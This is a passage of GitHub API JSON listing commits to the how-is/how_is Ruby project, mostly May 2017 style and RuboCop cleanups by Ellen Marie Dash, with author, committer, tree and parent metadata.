duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe","url":"https://api.github.com/repos/how-is/how_is/commits/1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe","html_url":"https://github.com/how-is/how_is/commit/1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe"}]},{"sha":"1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWNmNmEwZjJiNjhjNDk2OGVjZWQ3NTQwZGNkNTZhYjY4YmZhY2JiZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:31:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:31:46Z"},"message":"[how_is/fetcher] don''t have trailing comma after method arguments","tree":{"sha":"7f25188b55f3eda6b4510b2fa17759f1e1669487","url":"https://api.github.com/repos/how-is/how_is/git/trees/7f25188b55f3eda6b4510b2fa17759f1e1669487"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe","html_url":"https://github.com/how-is/how_is/commit/1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1cf6a0f2b68c4968eced7540dcd56ab68bfacbbe/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"566767f6fb681ec3c6e5b56a013f236c73199708","url":"https://api.github.com/repos/how-is/how_is/commits/566767f6fb681ec3c6e5b56a013f236c73199708","html_url":"https://github.com/how-is/how_is/commit/566767f6fb681ec3c6e5b56a013f236c73199708"}]},{"sha":"566767f6fb681ec3c6e5b56a013f236c73199708","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTY2NzY3ZjZmYjY4MWVjM2M2ZTViNTZhMDEzZjIzNmM3MzE5OTcwOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:31:12Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:31:12Z"},"message":"[how_is/fetcher] fix indentation/newlines around \"private\" keyword.","tree":{"sha":"46749832d6dd7fc0fe7e43085ad2516d48adfe15","url":"https://api.github.com/repos/how-is/how_is/git/trees/46749832d6dd7fc0fe7e43085ad2516d48adfe15"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/566767f6fb681ec3c6e5b56a013f236c73199708","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/566767f6fb681ec3c6e5b56a013f236c73199708","html_url":"https://github.com/how-is/how_is/commit/566767f6fb681ec3c6e5b56a013f236c73199708","comments_url":"https://api.github.com/repos/how-is/how_is/commits/566767f6fb681ec3c6e5b56a013f236c73199708/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b432fca66cd414f0b1768f568dcaaa142a6ce776","url":"https://api.github.com/repos/how-is/how_is/commits/b432fca66cd414f0b1768f568dcaaa142a6ce776","html_url":"https://github.com/how-is/how_is/commit/b432fca66cd414f0b1768f568dcaaa142a6ce776"}]},{"sha":"b432fca66cd414f0b1768f568dcaaa142a6ce776","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjQzMmZjYTY2Y2Q0MTRmMGIxNzY4ZjU2OGRjYWFhMTQyYTZjZTc3Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:30:31Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:30:31Z"},"message":"[how_is/analyzer] clean up reject/map calls.","tree":{"sha":"2222da80df316ecffe9736561dc6fdc0b30b9b15","url":"https://api.github.com/repos/how-is/how_is/git/trees/2222da80df316ecffe9736561dc6fdc0b30b9b15"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b432fca66cd414f0b1768f568dcaaa142a6ce776","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b432fca66cd414f0b1768f568dcaaa142a6ce776","html_url":"https://github.com/how-is/how_is/commit/b432fca66cd414f0b1768f568dcaaa142a6ce776","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b432fca66cd414f0b1768f568dcaaa142a6ce776/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"837d1aa6acd351069bf01390544d437f4f2002d3","url":"https://api.github.com/repos/how-is/how_is/commits/837d1aa6acd351069bf01390544d437f4f2002d3","html_url":"https://github.com/how-is/how_is/commit/837d1aa6acd351069bf01390544d437f4f2002d3"}]},{"sha":"837d1aa6acd351069bf01390544d437f4f2002d3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODM3ZDFhYTZhY2QzNTEwNjliZjAxMzkwNTQ0ZDQzN2Y0ZjIwMDJkMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:27:54Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:27:54Z"},"message":"[how_is/analyzer] assign value of if block to variable","tree":{"sha":"13ebff843066d7a0d4bdfdf8f1cb48d0bfedb4e8","url":"https://api.github.com/repos/how-is/how_is/git/trees/13ebff843066d7a0d4bdfdf8f1cb48d0bfedb4e8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/837d1aa6acd351069bf01390544d437f4f2002d3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/837d1aa6acd351069bf01390544d437f4f2002d3","html_url":"https://github.com/how-is/how_is/commit/837d1aa6acd351069bf01390544d437f4f2002d3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/837d1aa6acd351069bf01390544d437f4f2002d3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e329decfae8a772d52fdc888fd24d4d7ae7328ed","url":"https://api.github.com/repos/how-is/how_is/commits/e329decfae8a772d52fdc888fd24d4d7ae7328ed","html_url":"https://github.com/how-is/how_is/commit/e329decfae8a772d52fdc888fd24d4d7ae7328ed"}]},{"sha":"e329decfae8a772d52fdc888fd24d4d7ae7328ed","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTMyOWRlY2ZhZThhNzcyZDUyZmRjODg4ZmQyNGQ0ZDdhZTczMjhlZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:25:43Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:25:43Z"},"message":"remove unnecessary selfs","tree":{"sha":"a3970c571654239db98e34b654c9027a99d44363","url":"https://api.github.com/repos/how-is/how_is/git/trees/a3970c571654239db98e34b654c9027a99d44363"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e329decfae8a772d52fdc888fd24d4d7ae7328ed","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e329decfae8a772d52fdc888fd24d4d7ae7328ed","html_url":"https://github.com/how-is/how_is/commit/e329decfae8a772d52fdc888fd24d4d7ae7328ed","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e329decfae8a772d52fdc888fd24d4d7ae7328ed/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"326afb7296868b9d6361be364738c1b216d4e3c5","url":"https://api.github.com/repos/how-is/how_is/commits/326afb7296868b9d6361be364738c1b216d4e3c5","html_url":"https://github.com/how-is/how_is/commit/326afb7296868b9d6361be364738c1b216d4e3c5"}]},{"sha":"326afb7296868b9d6361be364738c1b216d4e3c5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzI2YWZiNzI5Njg2OGI5ZDYzNjFiZTM2NDczOGMxYjIxNmQ0ZTNjNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:24:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:24:06Z"},"message":"[how_is/analyzer] use {/} instead of do/end for blocks that have methods called on them","tree":{"sha":"de4fcf360c08c4d101ec6ca86aab7b5fb0f65f7a","url":"https://api.github.com/repos/how-is/how_is/git/trees/de4fcf360c08c4d101ec6ca86aab7b5fb0f65f7a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/326afb7296868b9d6361be364738c1b216d4e3c5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/326afb7296868b9d6361be364738c1b216d4e3c5","html_url":"https://github.com/how-is/how_is/commit/326afb7296868b9d6361be364738c1b216d4e3c5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/326afb7296868b9d6361be364738c1b216d4e3c5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bc0fedbcc4685850a3e7c132a98c045a2591b020","url":"https://api.github.com/repos/how-is/how_is/commits/bc0fedbcc4685850a3e7c132a98c045a2591b020","html_url":"https://github.com/how-is/how_is/commit/bc0fedbcc4685850a3e7c132a98c045a2591b020"}]},{"sha":"bc0fedbcc4685850a3e7c132a98c045a2591b020","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmMwZmVkYmNjNDY4NTg1MGEzZTdjMTMyYTk4YzA0NWEyNTkxYjAyMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:21:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:21:49Z"},"message":"[report/base_report] rename unused variable to _ (underscore)","tree":{"sha":"2b7d85c6d99408925e4ab96d85eb5bfd1612a600","url":"https://api.github.com/repos/how-is/how_is/git/trees/2b7d85c6d99408925e4ab96d85eb5bfd1612a600"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bc0fedbcc4685850a3e7c132a98c045a2591b020","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bc0fedbcc4685850a3e7c132a98c045a2591b020","html_url":"https://github.com/how-is/how_is/commit/bc0fedbcc4685850a3e7c132a98c045a2591b020","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bc0fedbcc4685850a3e7c132a98c045a2591b020/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8df1aad7c03168cc6ac31a5c7dfd4f47e719846f","url":"https://api.github.com/repos/how-is/how_is/commits/8df1aad7c03168cc6ac31a5c7dfd4f47e719846f","html_url":"https://github.com/how-is/how_is/commit/8df1aad7c03168cc6ac31a5c7dfd4f47e719846f"}]},{"sha":"8df1aad7c03168cc6ac31a5c7dfd4f47e719846f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGRmMWFhZDdjMDMxNjhjYzZhYzMxYTVjN2RmZDRmNDdlNzE5ODQ2Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:20:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:20:55Z"},"message":"[report/base_report] add blank line after \"private\" keyword","tree":{"sha":"48e78075fbc636655b18360d18c5e91b23689cc3","url":"https://api.github.com/repos/how-is/how_is/git/trees/48e78075fbc636655b18360d18c5e91b23689cc3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8df1aad7c03168cc6ac31a5c7dfd4f47e719846f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8df1aad7c03168cc6ac31a5c7dfd4f47e719846f","html_url":"https://github.com/how-is/how_is/commit/8df1aad7c03168cc6ac31a5c7dfd4f47e719846f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8df1aad7c03168cc6ac31a5c7dfd4f47e719846f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3d9a9e5b8822e1b65f3739504160b2a46167f1c9","url":"https://api.github.com/repos/how-is/how_is/commits/3d9a9e5b8822e1b65f3739504160b2a46167f1c9","html_url":"https://github.com/how-is/how_is/commit/3d9a9e5b8822e1b65f3739504160b2a46167f1c9"}]},{"sha":"3d9a9e5b8822e1b65f3739504160b2a46167f1c9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2Q5YTllNWI4ODIyZTFiNjVmMzczOTUwNDE2MGIyYTQ2MTY3ZjFjOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:19:42Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:19:42Z"},"message":"[analyzer_spec] add space after # in commented-out code so RuboCop is happy","tree":{"sha":"dfd8f4cb2d9c0565bcaccc1603ee72805a76ae39","url":"https://api.github.com/repos/how-is/how_is/git/trees/dfd8f4cb2d9c0565bcaccc1603ee72805a76ae39"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3d9a9e5b8822e1b65f3739504160b2a46167f1c9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3d9a9e5b8822e1b65f3739504160b2a46167f1c9","html_url":"https://github.com/how-is/how_is/commit/3d9a9e5b8822e1b65f3739504160b2a46167f1c9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3d9a9e5b8822e1b65f3739504160b2a46167f1c9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1c153e3d8284e8da37969aaaa67d05bf4f462b73","url":"https://api.github.com/repos/how-is/how_is/commits/1c153e3d8284e8da37969aaaa67d05bf4f462b73","html_url":"https://github.com/how-is/how_is/commit/1c153e3d8284e8da37969aaaa67d05bf4f462b73"}]},{"sha":"1c153e3d8284e8da37969aaaa67d05bf4f462b73","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWMxNTNlM2Q4Mjg0ZThkYTM3OTY5YWFhYTY3ZDA1YmY0ZjQ2MmI3Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:19:04Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:19:04Z"},"message":"[cli_spec] remove unnecessary blank line.","tree":{"sha":"097f2fb0e8a3bdb7c94d572372fd97e0a9a1542c","url":"https://api.github.com/repos/how-is/how_is/git/trees/097f2fb0e8a3bdb7c94d572372fd97e0a9a1542c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1c153e3d8284e8da37969aaaa67d05bf4f462b73","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1c153e3d8284e8da37969aaaa67d05bf4f462b73","html_url":"https://github.com/how-is/how_is/commit/1c153e3d8284e8da37969aaaa67d05bf4f462b73","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1c153e3d8284e8da37969aaaa67d05bf4f462b73/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.co